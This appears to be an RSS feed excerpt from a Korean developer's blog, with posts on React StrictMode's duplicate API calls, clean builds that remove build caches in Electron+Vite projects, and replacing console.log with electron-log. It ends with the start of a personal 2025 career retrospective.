<p>저도 electron-builder로 패키징해서 실행했을 때는,</p>
<p>로그에 요청이 한 번만 찍히는 걸 확인했습니다.</p>
<p>개발할 땐 두 번, 배포하면 한 번 → 이게 정상입니다.</p>
<hr>
<h2 id="2-중복-호출을-막는-방법">2. 중복 호출을 막는 방법</h2>
<p>개발 모드에서 로그가 두 번 찍히는 게 불편하다면,</p>
<p>간단히 <code>useRef</code>를 써서 가드를 걸 수 있습니다.</p>
<pre><code class="language-tsx">const hasFetchedRef = useRef(false);

useEffect(() =&gt; {
  if (hasFetchedRef.current) return;
  hasFetchedRef.current = true;

  fetchApi();
}, []);
</code></pre>
<p>이렇게 하면 <strong>개발 모드에서도 API는 한 번만 호출</strong>됩니다.</p>
<p>저는 보통, <strong>조회 API</strong>는 두 번 호출돼도 상관없으니 그냥 두고,</p>
<p>중복 호출이 문제가 되는 <strong>등록/수정/승인 API</strong>만 이런 방어 로직을 넣었습니다.</p>
<h3 id="페이지-클릭-시-조회-api-호출">페이지 클릭 시 조회 API 호출</h3>
<p>Electron 프로젝트에서는 페이지 이동(라우터 클릭)마다 조회 API가 다시 호출되는데,</p>
<p>여기에 StrictMode까지 더해지니 “응답이 두 개씩 오는 것처럼” 보여서 헷갈리더군요.</p>
<p>실제로 로그는 이렇게 찍힙니다:</p>
<pre><code>[API ▶ getCpnMember 요청] { cpnId: 2, userId: 2 }
[API ◀ getCpnMember 응답] { result: { pscd: &#39;OK&#39;, data: [], pcsRsltMsg: &#39;응답을 보냈습니다.&#39; } }
[API ◀ getCpnMember 응답] { result: { pscd: &#39;OK&#39;, data: [], pcsRsltMsg: &#39;응답을 보냈습니다.&#39; } }
</code></pre><p>처음엔 “응답이 두 번 오네?”라고 생각했지만, 사실은 <strong>요청을 두 번 보낸 거</strong>였어요.</p>
<p>이것도 StrictMode의 영향으로, 배포 모드에선 정상적으로 한 번만 호출됩니다.</p>
<p>다만 페이지 이동 시마다 조회 API가 자동으로 불리는 구조라면,</p>
<p>캐시나 상태 관리 도구를 붙여서 불필요한 호출을 줄이는 게 좋습니다.</p>
<hr>
<h2 id="3-react-query--swr-같은-라이브러리-쓰기">3. React Query / SWR 같은 라이브러리 쓰기</h2>
<p>이런 문제를 더 깔끔하게 해결하고 싶다면,</p>
<p><strong>React Query</strong>나 <strong>SWR</strong> 같은 데이터 관리 라이브러리를 추천드립니다.</p>
<ul>
<li>같은 API를 여러 페이지에서 불러도 캐시에서 가져오기</li>
<li>새로고침 버튼을 눌렀을 때만 refetch 실행</li>
<li>상태/에러/로딩을 한 줄로 관리</li>
</ul>
<p>저는 단순 조회 API는 React Query로 관리하고,</p>
<p>트랜잭션성(등록/삭제/승인) API만 직접 호출하도록 나누니 훨씬 편했습니다.</p>
<h3 id="react-query--swr이-해결해주는-방식">React Query / SWR이 해결해주는 방식</h3>
<p>React Query와 SWR은 단순히 API 호출 라이브러리가 아니라, <strong>데이터 캐싱 계층</strong>이에요.</p>
<p>이 캐싱 계층이 있으면 “같은 키(key)”로 요청이 들어올 때 다음과 같은 일이 일어납니다:</p>
<ol>
<li><p><strong>디듀플리케이션(Deduplication)</strong></p>
<ul>
<li><p>동일한 API 요청이 짧은 시간 안에 여러 번 발생하더라도,</p>
<p>  내부에서 “아 이건 같은 요청이네”라고 판단하고 <strong>한 번만 실제로 요청</strong>을 보냅니다.</p>
</li>
<li><p>나머지는 캐시된 결과나 동일 Promise를 공유.</p>
</li>
</ul>
</li>
<li><p><strong>캐싱(Cache)</strong></p>
<ul>
<li><p>한 번 받아온 데이터를 캐시에 저장하고,</p>
<p>  동일한 키로 다시 조회하면 네트워크 요청 없이 <strong>즉시 캐시 데이터 반환</strong>.</p>
</li>
<li><p><code>refetch()</code> 같은 명령을 내리면 그때만 새로 요청.</p>
</li>
</ul>
</li>
<li><p><strong>상태 관리 자동화</strong></p>
<ul>
<li><p>로딩(<code>isLoading</code>), 성공(<code>data</code>), 에러(<code>error</code>) 상태를 자동으로 관리해 줘서,</p>
<p>  개발자가 직접 <code>loading</code> state 만들고, <code>try/catch</code> 돌릴 필요가 없어져요.</p>
</li>
</ul>
</li>
</ol>
<h3 id="구체적인-예시">구체적인 예시</h3>
<pre><code class="language-tsx">// React Query 예시
const { data, isLoading, error } = useQuery(
  [&#39;member&#39;, cpnId, userId], // 키
  () =&gt; getCpnMember({ cpnId, userId }) // API 호출
);</code></pre>
<p>위 코드를 <strong>StrictMode 환경에서 두 번 실행</strong>한다고 가정해봅시다:</p>
<ul>
<li><p>일반 fetch 사용: 요청 2번 → 서버에도 2번 요청</p>
</li>
<li><p>React Query 사용: 요청은 2번 트리거되더라도,</p>
<p>  내부에서 동일 키(<code>[&#39;member&#39;, 2, 2]</code>)로 관리 → <strong>실제 네트워크는 1번만 발생</strong></p>
<p>  두 번째 호출은 첫 번째 호출의 캐시/Promise를 재활용합니다.</p>
</li>
</ul>
<h3 id="swr은-어떻게-다르냐">SWR은 어떻게 다르냐?</h3>
<p>SWR도 원리는 비슷한데, 차이점은 “자동 새로고침”과 “Stale-While-Revalidate” 전략이 강점이에요.</p>
<ul>
<li><strong>React Query</strong>: 좀 더 완전한 데이터 관리 플랫폼 (mutate, optimistic update 등 풍부)</li>
<li><strong>SWR</strong>: 단순 조회 중심, 사용법이 직관적이고 lightweight</li>
</ul>
<h3 id="그래서-왜-좋은가">그래서 왜 좋은가?</h3>
<p>개발 모드에서 StrictMode 때문에 네트워크 요청이 2번씩 찍히는 상황에서도:</p>
<ul>
<li><p><strong>일반 fetch → 서버에 실제로 2번 요청 감</strong></p>
</li>
<li><p><strong>React Query / SWR → 서버엔 한 번만 요청 감</strong></p>
<p>  (개발자 입장에서는 로그만 2번 찍히고, 실제 요청은 캐시가 막아줌)</p>
</li>
</ul>
<p>게다가 캐시·상태 관리까지 자동이니,</p>
<p>“개발 모드라 로그가 번잡해도 실제 서버 트래픽은 안정적으로 1회”라는 안심을 줍니다.</p>
<blockquote>
<p>👉  React Query / SWR은 <strong>StrictMode 환경에서 API 중복 호출을 막아주는 안전장치 + 상태 관리 자동화</strong> 기능을 제공하기 때문에,  “로그가 두 번 찍히는 게 헷갈려요”라는 문제와 “불필요한 서버 트래픽” 문제를 동시에 해결해줍니다.</p>
</blockquote>
<hr>
<h2 id="제가-얻은-교훈">제가 얻은 교훈</h2>
<ol>
<li><strong>개발 모드</strong>에서 API가 두 번 호출되는 건 <strong>StrictMode의 정상 동작</strong>이다.</li>
<li><strong>배포 모드</strong>에서는 정상적으로 한 번만 호출되니 걱정할 필요 없다.</li>
<li>불편하다면 <code>useRef</code> 가드로 중복 호출을 막을 수 있다.</li>
<li>페이지 이동 시마다 조회 API를 다시 호출하는 구조는 필요에 따라 최적화해야 한다.</li>
<li>React Query / SWR 같은 라이브러리를 쓰면 중복 호출 문제를 훨씬 깔끔하게 관리할 수 있다.</li>
</ol>
<p>저는 이 삽질을 통해, 이제는 API 로그가 두 번 찍혀도 당황하지 않습니다.</p>
<p>“아, StrictMode 때문이지~” 하고 바로 넘길 수 있게 되었죠. 😎</p>
<p>혹시 여러분도 비슷한 경험 있으신가요?</p>
<p>만약 API 로그가 두 번 찍힌다면, 이제 안심하셔도 됩니다.</p>
<p><strong>여러분의 코드가 잘못된 게 아니라, React가 일부러 그런 거니까요!</strong></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[🧹빌드 전에 꼭 필요한 대청소 - 캐시(Cache)를 치우자~]]></title>
            <link>https://velog.io/@songyeonji_/%EB%B9%8C%EB%93%9C-%EC%A0%84%EC%97%90-%EA%BC%AD-%ED%95%84%EC%9A%94%ED%95%9C-%EB%8C%80%EC%B2%AD%EC%86%8C-%ED%81%B4%EB%A6%B0-%EB%B9%8C%EB%93%9CClean-Build%EC%99%80-%EC%BA%90%EC%8B%9CCache-%EC%9D%B4%EC%95%BC%EA%B8%B0</link>
            <guid>https://velog.io/@songyeonji_/%EB%B9%8C%EB%93%9C-%EC%A0%84%EC%97%90-%EA%BC%AD-%ED%95%84%EC%9A%94%ED%95%9C-%EB%8C%80%EC%B2%AD%EC%86%8C-%ED%81%B4%EB%A6%B0-%EB%B9%8C%EB%93%9CClean-Build%EC%99%80-%EC%BA%90%EC%8B%9CCache-%EC%9D%B4%EC%95%BC%EA%B8%B0</guid>
            <pubDate>Wed, 13 Aug 2025 11:36:17 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/b406c7ed-4163-4114-afff-e705662fe7dd/image.png" alt=""></p>
<p>Electron + Vite로 개발하면서 VM 환경에서 패키징을 하다 보면,</p>
<p>“같은 코드, 같은 설정인데 엔진이 안 열린다”는 이상한 상황을 겪는 경우가 있습니다.</p>
<p>처음에는 단순한 VM(가상머신) 속도 문제겠거니 하고 넘어갔지만,</p>
<p>문제는 하루이틀이 아니라 빌드할 때마다 가끔 꼭 나타난다는 점이었죠.</p>
<p>더 이상한 건, 아무것도 바꾸지 않고 <strong>다시 빌드하면 또 잘 된다</strong>는 것이었습니다.</p>
<p>이쯤 되면 운이 좋은 건지, 빌드가 장난을 치는 건지 알 수 없었습니다.</p>
<hr>
<h2 id="💡-빌드-산출물과-캐시의-숨겨진-함정">💡 빌드 산출물과 캐시의 숨겨진 함정</h2>
<p>빌드를 하면 <code>dist/</code>, <code>release/</code>, <code>build/</code> 같은 폴더에 실행 파일과 번들된 JS가 생성됩니다.</p>
<p>이게 바로 <strong>빌드 산출물</strong>입니다.</p>
<p>문제는 이 폴더에 남아 있는 예전 파일이 다음 빌드에 그대로 섞여 들어갈 수 있다는 점입니다.</p>
<p>여기에 <strong>캐시(Cache)</strong>까지 더해집니다.</p>
<p>Vite, Webpack, Next.js 등 빌드 도구들은 빌드를 빠르게 하기 위해 캐시를 사용합니다.</p>
<p>변경이 없는 파일은 다시 처리하지 않고 재활용하죠.</p>
<p>하지만 가끔 변경 감지를 놓치면, 오래된 결과물이 그대로 살아남아 버립니다.</p>
<blockquote>
<p>캐시는 빌드 속도를 높이는 ‘부스터’이지만, 잘못 쓰이면 발목을 잡는 ‘지뢰’가 되기도 합니다.</p>
</blockquote>
<hr>
<h2 id="🗂-빌드-도구별로-지워야-할-폴더">🗂 빌드 도구별로 지워야 할 폴더</h2>
<p>프로젝트마다 지워야 할 폴더가 다릅니다.</p>
<p>아래 표는 대표적인 빌드 환경에서 청소해야 할 캐시와 빌드 산출물 폴더입니다.</p>
<table>
<thead>
<tr>
<th>빌드/프레임워크</th>
<th>캐시 폴더</th>
<th>빌드 산출물 폴더</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Vite</strong></td>
<td><code>.vite</code></td>
<td><code>dist/</code></td>
</tr>
<tr>
<td><strong>Webpack</strong></td>
<td><code>.webpack-cache</code></td>
<td><code>dist/</code></td>
</tr>
<tr>
<td><strong>Next.js</strong></td>
<td><code>.next</code></td>
<td><code>.next</code></td>
</tr>
<tr>
<td><strong>CRA</strong></td>
<td><code>node_modules/.cache</code></td>
<td><code>build/</code></td>
</tr>
<tr>
<td><strong>Electron</strong></td>
<td>없음(기본)</td>
<td><code>dist/</code>, <code>release/</code></td>
</tr>
<tr>
<td><strong>Node.js</strong></td>
<td><code>node_modules/.cache</code></td>
<td>없음</td>
</tr>
</tbody></table>
<hr>
<h2 id="🧹-클린-빌드의-발견">🧹 클린 빌드의 발견</h2>
<p>이때부터 “클린 빌드(Clean Build)”라는 개념을 깊이 들여다봤습니다.</p>
<p>클린 빌드는 <strong>이전 빌드 산출물과 캐시를 완전히 지우고, 깨끗한 상태에서 새로 빌드하는 과정</strong>입니다.</p>
<p>문제의 근본 원인은 단순했습니다.</p>
<p>이전 빌드의 잔여 파일과 캐시가 새 빌드에 섞여 들어가면서</p>
<p>파일 누락, 변경 미반영 같은 기이한 현상을 만든 것이었습니다.</p>
<hr>
<h2 id="🛠-클린-빌드-실행-방법">🛠 클린 빌드 실행 방법</h2>
<p><strong>수동 삭제</strong></p>
<pre><code class="language-bash"># macOS / Linux
rm -rf dist release out build .vite .webpack-cache node_modules/.cache</code></pre>
<pre><code class="language-powershell"># Windows PowerShell
rd /s /q dist release out build .vite .webpack-cache node_modules\.cache</code></pre>
<p><strong>npm 스크립트 자동화</strong></p>
<pre><code class="language-json">&quot;scripts&quot;: {
  &quot;clean&quot;: &quot;rimraf dist release out build .vite .webpack-cache node_modules/.cache&quot;,
  &quot;build&quot;: &quot;npm run clean &amp;&amp; electron-builder&quot;
}
</code></pre>
<blockquote>
<p>rimraf 설치:</p>
<pre><code>npm i rimraf --save-dev
</code></pre></blockquote>
<hr>
<h2 id="📦-electron--엔진-exe-포함-시-주의할-점">📦 Electron + 엔진 exe 포함 시 주의할 점</h2>
<p>Electron 앱에서 엔진 실행 파일을 같이 배포하려면,</p>
<p><code>electron-builder</code>의 <code>extraResources</code>에 정확한 경로를 지정해야 합니다.</p>
<pre><code class="language-json">
&quot;build&quot;: {
  &quot;asar&quot;: true,
  &quot;asarUnpack&quot;: [],
  &quot;extraResources&quot;: [
    { &quot;from&quot;: &quot;electron/engine/bin/seph_engine.exe&quot;, &quot;to&quot;: &quot;public/seph_engine.exe&quot; }
  ],
  &quot;files&quot;: [
    &quot;dist/**&quot;,
    &quot;electron/**&quot;,
    &quot;!**/*.map&quot;
  ]
}
</code></pre>
<p>경로를 명확히 해주면 패키징 시 엔진 파일 누락을 방지할 수 있습니다.</p>
<hr>
<h2 id="🔄-cicd-환경에서의-클린-빌드">🔄 CI/CD 환경에서의 클린 빌드</h2>
<p>GitHub Actions, Jenkins, GitLab CI 같은 CI/CD 서버는 매번 깨끗한 환경에서 빌드하지만,</p>
<p>빌드 속도를 높이려고 캐시를 켜면 이 문제가 다시 생길 수 있습니다.</p>
<p><strong>GitHub Actions 예시</strong></p>
<pre><code class="language-yaml">
steps:
  - name: Clean build
    run: rm -rf dist release .vite .webpack-cache node_modules/.cache
  - name: Install dependencies
    run: npm ci
  - name: Build
    run: npm run build
</code></pre>
<hr>
<h2 id="⚠️-vm-환경에서-자주-발생하는-변수">⚠️ VM 환경에서 자주 발생하는 변수</h2>
<ul>
<li><strong>I/O 속도 지연</strong> → 파일 복사나 압축이 중간에 누락될 수 있음</li>
<li><strong>스냅샷 복원</strong> → 예전 빌드 결과물이 그대로 복귀</li>
<li><strong>시간 동기화 문제</strong> → 설치기가 파일 변경을 인식 못 함</li>
<li><strong>백신 간섭</strong> → 실행 파일을 격리 또는 삭제</li>
</ul>
<hr>
<h2 id="🛡-엔진-실행-전-점검-코드">🛡 엔진 실행 전 점검 코드</h2>
<pre><code class="language-tsx">
import fs from &#39;fs&#39;;
import path from &#39;path&#39;;
import { spawn } from &#39;child_process&#39;;

const enginePath = path.join(process.resourcesPath, &#39;app.asar.unpacked&#39;, &#39;public&#39;, &#39;seph_engine.exe&#39;);

function fileExists(p: string) {
  try { return fs.existsSync(p); } catch { return false; }
}

export function startEngine() {
  if (!fileExists(enginePath)) {
    throw new Error(`[Engine Missing] ${enginePath}`);
  }

  const proc = spawn(enginePath, [], { detached: true });
  proc.on(&#39;error&#39;, (err) =&gt; {
    console.error(&#39;[Engine Spawn Error]&#39;, err);
  });
}
</code></pre>
<hr>
<h2 id="✅-빌드-실패-원인-체크리스트">✅ 빌드 실패 원인 체크리스트</h2>
<ul>
<li>이전 빌드 결과물을 삭제했는가?</li>
<li>캐시 폴더를 비웠는가?</li>
<li>앱 버전을 올렸는가?</li>
<li>엔진 exe 경로가 정확한가?</li>
<li>실행 권한이 있는가?</li>
<li>백신에서 차단하지 않았는가?</li>
</ul>
<hr>
<h2 id="📍-마무리">📍 마무리</h2>
<p>클린 빌드는 특정 빌드 도구 전용 기능이 아니라, <strong>모든 개발 환경에서 통하는 안전장치</strong>입니다.</p>
<p>캐시는 빌드 시간을 단축시키는 좋은 도구지만, 잘못 쓰이면 발목을 잡는 주범이 되죠.</p>
<p>특히 VM 환경에서는</p>
<p><strong>클린 빌드 + 버전 증가 + 경로 고정</strong></p>
<p>이 세 가지가 빌드 안정성의 핵심입니다.</p>
<p>저도 예전에는 “안 되면 한 번 더 빌드하지 뭐”라고 생각했지만,</p>
<p>이제는 <strong>처음부터 깨끗하게 빌드해서 한 번에 성공하는 습관</strong>을 들였습니다.</p>
<blockquote>
<p>빌드 환경도 집처럼, 주기적인 대청소가 필요합니다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[🌱 함정씨앗: console.log가 Electron 프로젝트를 망치는 순간]]></title>
            <link>https://velog.io/@songyeonji_/%EB%A1%9C%EA%B7%B8-%EC%A0%84%EB%9E%B5-%EB%A6%AC%EB%B9%8C%EB%93%9C-Electron-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8%EC%97%90%EC%84%9C-console.log%EB%8A%94-%EC%A7%80%EC%9A%B0%EA%B3%A0-electron-log%EB%8A%94-%EB%82%A8%EA%B8%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0</link>
            <guid>https://velog.io/@songyeonji_/%EB%A1%9C%EA%B7%B8-%EC%A0%84%EB%9E%B5-%EB%A6%AC%EB%B9%8C%EB%93%9C-Electron-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8%EC%97%90%EC%84%9C-console.log%EB%8A%94-%EC%A7%80%EC%9A%B0%EA%B3%A0-electron-log%EB%8A%94-%EB%82%A8%EA%B8%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0</guid>
            <pubDate>Thu, 31 Jul 2025 13:20:38 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/11ba8397-f3f1-401a-a44d-6a2f0952f092/image.png" alt=""></p>
<p>프론트엔드 개발자라면 누구나 한 번쯤 <code>console.log(&quot;확인&quot;)</code>을 찍어본 경험이 있을 겁니다. 저도 그랬습니다.</p>
<p>디버깅의 든든한 친구, 언제 어디서나 호출하면 나타나는 log 친구.</p>
<p>하지만 Electron 프로젝트에선 이 친구가 <strong>성능 병목의 주범</strong>이 될 수도 있습니다.</p>
<h3 id="💻-electron-환경의-로그-왜-특별한가요">💻 Electron 환경의 로그, 왜 특별한가요?</h3>
<p>Electron은 두 개의 프로세스로 구성됩니다:</p>
<table>
<thead>
<tr>
<th>구성</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>Renderer Process</td>
<td>React가 돌아가는 브라우저 환경 (Chromium 기반)</td>
</tr>
<tr>
<td>Main Process</td>
<td>Node.js 기반 백그라운드 (Electron 엔진)</td>
</tr>
</tbody></table>
<h4 id="✅-문제는-여기서-시작됩니다">✅ 문제는 여기서 시작됩니다</h4>
<p>이 둘은 로그를 찍는 방식도, 로그가 시스템에 미치는 영향도 다릅니다.</p>
<ul>
<li><strong>Renderer 로그 (<code>console.log</code>)</strong><ul>
<li>브라우저 콘솔처럼 작동</li>
<li>많이 찍히면 렌더링 지연, 메모리 누수 가능</li>
<li>개발자 도구를 통해 사용자가 직접 볼 수 있음</li>
<li>무한 루프나 interval 로그가 많을 경우 UI에 영향</li>
</ul>
</li>
<li><strong>Main 로그 (<code>console.log</code>)</strong><ul>
<li>Node.js의 <code>stdout</code>으로 출력</li>
<li>로그가 많아지면 <strong>디스크 IO 병목</strong>, <strong>프로세스 지연</strong>, <strong>리소스 누수</strong> 가능</li>
<li>특히 보안 솔루션이나 데몬처럼 작동하는 앱일수록, <strong>안정성이 중요</strong></li>
</ul>
</li>
</ul>
<p>결국, 단순히 “로그 좀 많네” 수준이 아니라 <strong>시스템 성능 저하, 사용자 불편, 심지어 보안 이슈</strong>로도 이어질 수 있는 구조입니다.</p>
<hr>
<h3 id="🚨-실전에서-겪은-문제">🚨 실전에서 겪은 문제</h3>
<p>제가 참여한 보안 솔루션 기반 Electron 프로젝트에서는 다음과 같은 로그들이 지속적으로 발생했습니다:</p>
<ul>
<li>Named Pipe 통신 로깅</li>
<li>시스템 정보 수집 로그</li>
<li>JSON 저장/파싱 로깅</li>
<li>보안 상태 체크 및 사용자 행동 로그</li>
</ul>
<p>초당 수십 개의 로그가 찍히다 보니:</p>
<ul>
<li>렌더러 메모리가 <strong>지속적으로 증가</strong>하거나</li>
<li>CPU 사용량이 <strong>6~8% 이상 고정</strong>되거나</li>
<li>통신이 <strong>비동기적으로 지연</strong>되거나</li>
<li><strong>개발자 도구를 비활성화</strong>했음에도 <strong>내부 자원 누수 발생</strong></li>
</ul>
<p>이런 증상이 실제로 있었습니다.</p>
<hr>
<h3 id="😅-안일했던-생각-어차피-배포용은-devtool-막았잖아">😅 안일했던 생각: &quot;어차피 배포용은 devtool 막았잖아?&quot;</h3>
<p>Electron에선 개발자 도구를 막을 수 있으니, log가 사용자에게 노출되지 않는다고 생각했습니다.</p>
<p>그래서 <strong>귀찮아서</strong> 수백 줄의 console.log를 안 지웠습니다. 😔</p>
<p>하지만…</p>
<pre><code class="language-tsx">console.log(&quot;✅ 요청 성공&quot;, response);
console.log(&quot;📍 현재 상태&quot;, status);
console.log(&quot;🚨 예외 발생&quot;, error)</code></pre>
<p>이런 로그가 계속 쌓이면, <strong>렌더링 지연</strong>, <strong>메모리 누수</strong>, <strong>디스크 I/O 부하</strong>로 이어지는 걸 실제로 경험했습니다.</p>
<hr>
<h3 id="🦸-구원자-등장--vite-plugin-remove-console">🦸 구원자 등장 — <code>vite-plugin-remove-console</code></h3>
<p>수동으로 일일이 삭제하는 건 너무 비효율적이었고, 구글링 도중 발견한 라이브러리가 바로 이 구원자입니다.</p>
<h4 id="📦-설치-및-설정">📦 설치 및 설정</h4>
<pre><code class="language-bash">npm i vite-plugin-remove-console -D</code></pre>
<pre><code class="language-tsx">// vite.config.ts
import removeConsole from &#39;vite-plugin-remove-console&#39;;

export default defineConfig({
  plugins: [
    react(),
    removeConsole({
      include: [&#39;**/*.ts&#39;, &#39;**/*.tsx&#39;],
    }),
  ],
});</code></pre>
<h4 id="✅-효과">✅ 효과</h4>
<ul>
<li><code>console.log</code>, <code>console.debug</code>, <code>console.info</code> → 빌드시 자동 제거</li>
<li>개발 모드에서는 기존 코드 그대로 유지</li>
<li>실수로 배포에 디버깅 로그가 포함될 위험 방지</li>
<li>Renderer 성능 저하 예방 (특히 많은 로그를 찍는 페이지에서 효과 큼)</li>
</ul>
<h4 id="-관련-라이브러리-비교">+ 관련 라이브러리 비교</h4>
<table>
<thead>
<tr>
<th>라이브러리</th>
<th>용도</th>
<th>특징</th>
</tr>
</thead>
<tbody><tr>
<td><code>vite-plugin-remove-console</code></td>
<td>개발 로그 제거</td>
<td>빌드 시 log/debug/info 자동 제거</td>
</tr>
<tr>
<td><code>electron-log</code></td>
<td>운영 로그 기록</td>
<td>메인 프로세스 로그 파일 저장</td>
</tr>
<tr>
<td><code>winston</code></td>
<td>고급 로거</td>
<td>다양한 레벨 관리, 파일/콘솔 출력 병행 가능</td>
</tr>
<tr>
<td><code>pino</code></td>
<td>초고속 로거</td>
<td>대규모 트래픽 환경에 적합, Electron과는 덜 어울림</td>
</tr>
</tbody></table>
<hr>
<h3 id="✅-하지만-로그는-필요합니다--electron-log">✅ 하지만 로그는 필요합니다 — <code>electron-log</code></h3>
<p>Renderer에서는 <code>console.log</code>를 지우지만, <strong>Main Process에서는 로그를 반드시 남겨야 합니다.</strong></p>
<p>왜냐고요? Electron 앱의 핵심 기능은 대부분 Main에서 처리되기 때문입니다.</p>
<p>제가 맡은 프로젝트만 해도:</p>
<ul>
<li>Named Pipe를 통한 <strong>보안 엔진 통신</strong></li>
<li>시스템 정보를 수집하고 상태를 기록하는 <strong>모니터링 루프</strong></li>
<li>정책 초기화, 설정 로딩, 사용자 상태 갱신 등</li>
</ul>
<p><strong>모든 주요 흐름은 Main에서 일어납니다.</strong></p>
<p>이때 오류가 발생하거나 예상치 못한 상황이 생기면 반드시 로그가 남아 있어야 디버깅이 가능하죠.</p>
<p>그래서 저는 Main에서는 <code>console.log</code> 대신 <code>electron-log</code>를 사용하고 있습니다.</p>
<h4 id="💾-electron-log-기본-사용법">💾 electron-log 기본 사용법</h4>
<pre><code class="language-tsx">
// main.ts
import log from &#39;electron-log&#39;;

log.info(&quot;📡 엔진 초기화 시작&quot;);
log.warn(&quot;⚠️ 중요한 설정 누락됨&quot;);
log.error(&quot;❌ 오류 발생&quot;, error);</code></pre>
<h4 id="🔍-main-로그를-electron-log로-남기는-이유">🔍 Main 로그를 <code>electron-log</code>로 남기는 이유~!</h4>
<table>
<thead>
<tr>
<th>이유</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>시스템 이벤트 추적</td>
<td>사용자가 클릭하지 않아도 자동 동작하는 기능들(정책, 백그라운드 엔진 등)을 기록해야 함</td>
</tr>
<tr>
<td>성능 최적화</td>
<td><code>console.log</code>보다 IO 안정성 높고, 텍스트 파일로 저장되니 개발자 도구 의존도 없음</td>
</tr>
<tr>
<td>운영 로그 수집</td>
<td>사용자 컴퓨터에서 수집하여 고객 지원, 장애 분석에 활용 가능</td>
</tr>
<tr>
<td>보안성</td>
<td>텍스트 파일로 저장되며, 콘솔에 노출되지 않아 사용자에게도 안전</td>
</tr>
</tbody></table>
<h4 id="📂-로그-경로는-여기에-파일로-저장됩니다">📂 로그 경로는 여기에 파일로 저장됩니다.</h4>
<table>
<thead>
<tr>
<th>OS</th>
<th>경로</th>
</tr>
</thead>
<tbody><tr>
<td>Windows</td>
<td><code>C:\Users\USERNAME\AppData\Roaming\YourAppName\log.txt</code></td>
</tr>
<tr>
<td>macOS</td>
<td><code>~/Library/Logs/YourAppName/log.txt</code></td>
</tr>
</tbody></table>
<hr>
<h3 id="🆚-로그-전략-비교-요약">🆚 로그 전략 비교 요약</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th><code>console.log</code></th>
<th><code>electron-log</code></th>
</tr>
</thead>
<tbody><tr>
<td>대상</td>
<td>개발용 디버깅</td>
<td>운영 상태 기록</td>
</tr>
<tr>
<td>제거 가능 여부</td>
<td>✅ vite-plugin으로 제거 가능</td>
<td>❌ 직접 코드에서 관리</td>
</tr>
<tr>
<td>출력 위치</td>
<td>브라우저 콘솔 / 터미널</td>
<td>로컬 로그 파일</td>
</tr>
<tr>
<td>성능 영향</td>
<td>많을 경우 메모리/CPU 증가</td>
<td>상대적으로 안정적</td>
</tr>
<tr>
<td>사용자 노출 가능성</td>
<td>있음 (devtool 등)</td>
<td>없음 (로컬 전용)</td>
</tr>
</tbody></table>
<h3 id="🏁-결론-로그도-설계-대상입니다">🏁 결론: 로그도 설계 대상입니다</h3>
<p>console.log는 디버깅에 아주 유용하지만, Electron처럼 <strong>리소스와 I/O</strong>에 민감한 환경에서는 <strong>설계 대상</strong>이 됩니다.</p>
<p>🧠 로그를 지우는 것이 중요한 게 아니라,</p>
<p><strong>&quot;어떤 로그를 언제, 어디에, 어떻게 남길 것인가&quot;</strong> 가 중요합니다.</p>
<hr>
<h3 id="💬-마무리하며">💬 마무리하며</h3>
<p>Electron 기반 앱에서의 로그는 단순한 <code>디버깅 도구</code>가 아니라,</p>
<p><strong>운영 효율성과 사용자 경험을 좌우하는 요소</strong>가 됩니다.</p>
<p>지우지 않아도 되는 콘솔 로그?</p>
<p>어쩌면, 그게 병목의 시작일 수 있습니다.</p>
<p>저처럼 <code>&quot;귀찮아서 로그 안 지웠던 그때&quot;</code>의 저를 반성하며…</p>
<p>지금은 자동화된 안전한 로그 전략으로 한층 더 성장한 기분입니다.</p>
<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[🐰2025 상반기 회고록]]></title>
            <link>https://velog.io/@songyeonji_/2025-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0%EB%A1%9D</link>
            <guid>https://velog.io/@songyeonji_/2025-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0%EB%A1%9D</guid>
            <pubDate>Fri, 18 Jul 2025 13:29:25 GMT</pubDate>
            <description><![CDATA[<p>안녕하세요! 프론트엔드 개발자 연지입니다.</p>
<p>정신없이 달리다 보니 벌써 2025년 반이 지나갔네요.</p>
<p>지난 6개월은 정말 <strong>제 커리어에서 다이내믹</strong>하고 <strong>가장 진심이 담긴 시기</strong>였어요.</p>
<ul>
<li><p>처음으로 <strong>프로젝트를 리딩</strong>했고,</p>
</li>
<li><p>처음으로 <strong>데스크탑 앱을 만들었고</strong>,</p>
</li>
<li><p>처음으로 <strong>스스로 부족함을 느끼며 공부하고 기록</strong>했죠.</p>
</li>
</ul>
<p>그럼, 진심 가득 담아 제 상반기 회고를 써 내려가 볼게요.</p>
<hr>
<h2 id="🧶-1월--생각하는-개발자로-다시-태어난-순간들">🧶 1월 — &quot;생각하는 개발자&quot;로 다시 태어난 순간들</h2>
<p>작년 11월 중순, 저는 첫 개발 회사를 퇴사를 선택했습니다.</p>
<p>뭔가 막연한 두려움도 있었고,</p>
<p>“앞으로 뭘 하지?” 하는 허탈함도 있었지만, 마음 한구석에선 뚜렷한 갈망이 있었습니다.</p>
<blockquote>
<p>“제대로, 성장하고 싶다.”</p>
</blockquote>
<p>그렇게 시작한 게 <strong>코드잇 단기심화 6기</strong>였어요.</p>
<p>“단기”라는 말이 붙었지만, 그 6주는 제겐  <strong>커리어 전체를 재정비하는 6주</strong>였습니다.</p>
<hr>
<h3 id="fitmon-프로젝트--실력은-여기서-자라납니다">FitMon 프로젝트 — 실력은 여기서 자라납니다</h3>
<p>그 첫 시작은 팀 프로젝트 <strong>FitMon</strong>이었습니다.</p>
<p>“운동 + 모임 + 일정관리”를 연결하는 헬스케어 웹앱이었고,</p>
<p>그런데 단순히 구현만 하는 게 아니라,</p>
<p>진짜 <strong>전반적인 프론트 구조를 갈아엎는 경험</strong>을 했어요.</p>
<ul>
<li>역할 기반 → 기능 기반 폴더 구조 전환</li>
